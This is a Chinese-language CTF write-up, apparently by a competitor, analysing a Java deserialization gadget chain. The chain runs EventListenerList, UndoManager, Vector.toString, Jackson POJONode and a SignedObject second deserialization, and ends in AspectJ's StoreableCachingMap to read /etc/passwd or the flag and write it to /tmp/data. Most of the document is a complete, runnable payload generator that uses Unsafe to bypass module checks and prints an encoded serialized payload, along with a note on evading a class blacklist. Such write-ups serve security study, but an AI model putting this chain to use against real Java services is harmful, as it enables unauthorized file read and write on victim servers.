利用链分析 EventListenerList 入口点:EventListenerList的readObject
发现这里并没有触发能触发tostring的地方,继续跟进add方法,发现
这里能触发tostring方法,在 Object 进行拼接的时候会自动触发该对象的toString方法
现在来看看t和l怎么写进去的,看writeObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void writeObject (ObjectOutputStream s) throws IOException {Object[] lList = listenerList; s.defaultWriteObject(); for (int i = 0 ; i < lList.length; i+=2 ) { Class<?> t = (Class)lList[i]; EventListener l = (EventListener)lList[i+1 ]; if ((l!=null ) && (l instanceof Serializable)) { s.writeObject(t.getName()); s.writeObject(l); } } s.writeObject(null ); }
发现里面会将l转换为EventListener型,所以我们找找继承了Serializable和EventListener的类也就是UndoManager
来看看他的toString方法
1 2 3 4 public String toString () { return super .toString() + " limit: " + limit + " indexOfNextAdd: " + indexOfNextAdd; }
这里limit和indexofNextAdd都是int类型,没地方利用所以跟进父类的tostring
1 2 3 4 5 6 public String toString () { return super .toString() + " inProgress: " + inProgress + " edits: " + edits; }
这里的edits是Vector类只有看看这个的tostring,再往上的父类的tostring也没利用的地方
Vector里面调用的是父类的tostring跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public String toString () { Iterator<E> it = iterator(); if (! it.hasNext()) return "[]" ; StringBuilder sb = new StringBuilder (); sb.append('[' ); for (;;) { E e = it.next(); sb.append(e == this ? "(this Collection)" : e); if (! it.hasNext()) return sb.append(']' ).toString(); sb.append(',' ).append(' ' ); } }
发现调用了sb.append(e == this ? “(this Collection)” : e);
1 2 3 public StringBuilder append (Object obj) {return append(String.valueOf(obj));}
就会调用obj的tostring方法
所以看看我们怎么可控它
e是next()读取的跟进vector::Itr的next()
1 2 3 4 5 6 7 8 9 10 public E next () { synchronized (Vector.this ) { checkForComodification(); int i = cursor; if (i >= elementCount) throw new NoSuchElementException (); cursor = i + 1 ; return elementData(lastRet = i); } }
发现读的是elementdata的值而在add()里面就能添加这个
1 2 3 4 5 public synchronized boolean add (E e) { modCount++; add(e, elementData, elementCount); return true ; }
再让undoManger的edits变成这个值就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 Unsafe unsafe = getUnsafe();long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module" ));unsafe.getAndSetObject(test.class, addr, Object.class.getModule()); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" );kpg.initialize(1024 ); KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject ((Serializable) getObject(), kp.getPrivate(), Signature.getInstance("DSA" ));POJONode pojoNode = new POJONode (signedObject);EventListenerList eventListenerList = new EventListenerList ();UndoManager undoManager = new UndoManager ();Field f = CompoundEdit.class.getDeclaredField("edits" );f.setAccessible(true ); Vector vector = (Vector) f.get(undoManager);vector.add(pojoNode); setFieldValue(eventListenerList, "listenerList" , new Object []{InternalError.class, undoManager}); ByteArrayOutputStream barr = new ByteArrayOutputStream ();ObjectOutputStream oos = new ObjectOutputStream (barr);oos.writeObject(eventListenerList); oos.close(); System.out.println(URLEncoder.encode(new String (Base64.getEncoder().encode(barr.toByteArray()))));
POJONode的tostring方法调用是会调用里面value对象的getter方法,通过这个去打SignedObject二次反序列化
ps:因为黑名单里面有SimpleCache我们要写文件就不得不绕过,不然就直接去tiedmap的tostring了
StoreableCachingMap 1 2 3 4 5 @RequestMapping(value = {"/read"}, method = {RequestMethod.POST}) @ResponseBody public String read () throws IOException { return new String (Files.readAllBytes(Paths.get("/tmp/data" , new String [0 ]))); }
做到时候还以为是写一个jar包文件上出,直接拿权限.但是jdk17好像不能这么干.只能读文件然后把文件写进/tmp/data里了
在StoreableCachingMap的get()中有readFromPath会读取我们的文件内容返回bytes,然后我们看看怎么利用
1 2 3 4 5 6 7 8 public Object get (Object obj) { try { if (super .containsKey(obj)) { String path = (String)super .get(obj); return path.equals("IDEM" ) ? SimpleCache.SAME_BYTES : this .readFromPath(path); } else { return null ; }
put方法 会往key路径里面写values 之前csisn去看了就不写了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public Object put (Object key, Object value) { try { String path = null ; byte [] valueBytes = (byte [])((byte [])value); if (Arrays.equals(valueBytes, SimpleCache.SAME_BYTES)) { path = "IDEM" ; } else { path = this .writeToPath((String)key, valueBytes); } Object result = super .put(key, path); this .storeMap(); return result; }
发现esaymap的的get方法
1 2 3 4 5 6 7 8 public Object get(Object key) { if (!this.map.containsKey(key)) { Object value = this.MapFactory.get(key); this.map.put(key, value); return value; } return get(key); }
这里MapFactory和map都是map类型,所以只要我们传过的key是data的map是StoreableCachingMap话就会往data里面写value的值,然后this.MapFactory,get(key)的话就只需要返回我们/flag的文件内容就是了,可能有点绕,看代码理解一下吧
1 2 3 4 5 6 7 8 Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ).getDeclaredConstructor(String.class, int .class);con.setAccessible(true ); HashMap map = (HashMap) con.newInstance("/tmp" , 1 );HashMap MapFactory = (HashMap) con.newInstance("/etc" , 1 );MapFactory.put("data" , "/etc/passwd" ); Constructor c = EasyMap.class.getDeclaredConstructors()[0 ];c.setAccessible(true ); EasyMap easyMap = (EasyMap) c.newInstance(map, MapFactory);
利用点 题目给了2个map有个map分析过了还有个TiedMap
他的equals和toString都能触发getValue方法里面就会调用map.get
所以payload
payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 package com.example.demo;import com.example.demo.utils.EasyMap;import com.example.demo.utils.TiedMap;import com.fasterxml.jackson.databind.node.POJONode;import sun.misc.Unsafe;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.net.URLEncoder;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;import java.util.Base64;import java.util.HashMap;import java.util.Vector;import javax.swing.event.EventListenerList;import javax.swing.undo.CompoundEdit;import javax.swing.undo.UndoManager;public class test { public static void main (String[] args) throws Exception { Unsafe unsafe = getUnsafe(); long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )); unsafe.getAndSetObject(test.class, addr, Object.class.getModule()); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" ); kpg.initialize(1024 ); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject ((Serializable) getObject(), kp.getPrivate(), Signature.getInstance("DSA" )); POJONode pojoNode = new POJONode (signedObject); EventListenerList eventListenerList = new EventListenerList (); UndoManager undoManager = new UndoManager (); Field f = CompoundEdit.class.getDeclaredField("edits" ); f.setAccessible(true ); Vector vector = (Vector) f.get(undoManager); vector.add(pojoNode); setFieldValue(eventListenerList, "listenerList" , new Object []{InternalError.class, undoManager}); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(eventListenerList); oos.close(); System.out.println(URLEncoder.encode(new String (Base64.getEncoder().encode(barr.toByteArray())))); } public static Unsafe getUnsafe () throws Exception { Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe" ); theUnsafeField.setAccessible(true ); Unsafe unsafe = (Unsafe) theUnsafeField.get(null ); return unsafe; } public static Object getObject () throws Exception { Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ).getDeclaredConstructor(String.class, int .class); con.setAccessible(true ); HashMap map = (HashMap) con.newInstance("/tmp" , 1 ); HashMap MapFactory = (HashMap) con.newInstance("/etc" , 1 ); MapFactory.put("data" , "/etc/passwd" ); Constructor c = EasyMap.class.getDeclaredConstructors()[0 ]; c.setAccessible(true ); EasyMap easyMap = (EasyMap) c.newInstance(map, MapFactory); TiedMap tiedMap = new TiedMap (easyMap,"data" ); EventListenerList eventListenerList = new EventListenerList (); UndoManager undoManager = new UndoManager (); Field f = CompoundEdit.class.getDeclaredField("edits" ); f.setAccessible(true ); Vector vector = (Vector) f.get(undoManager); vector.add(tiedMap); setFieldValue(eventListenerList, "listenerList" , new Object []{InternalError.class, undoManager}); return eventListenerList; } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj,value); } public static Object getFieldValue (Object obj, String fieldName) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); return field.get(obj); } }
注意点 为了防止序列化的时候走利用链重新了一下方法
1 2 3 4 5 6 7 8 9 public Object put (Object key, Object value) { String path = null ; path = this .folder + '/' + key; Object result = super .put(key, path); return result; } public Object get (Object obj) { return null ; }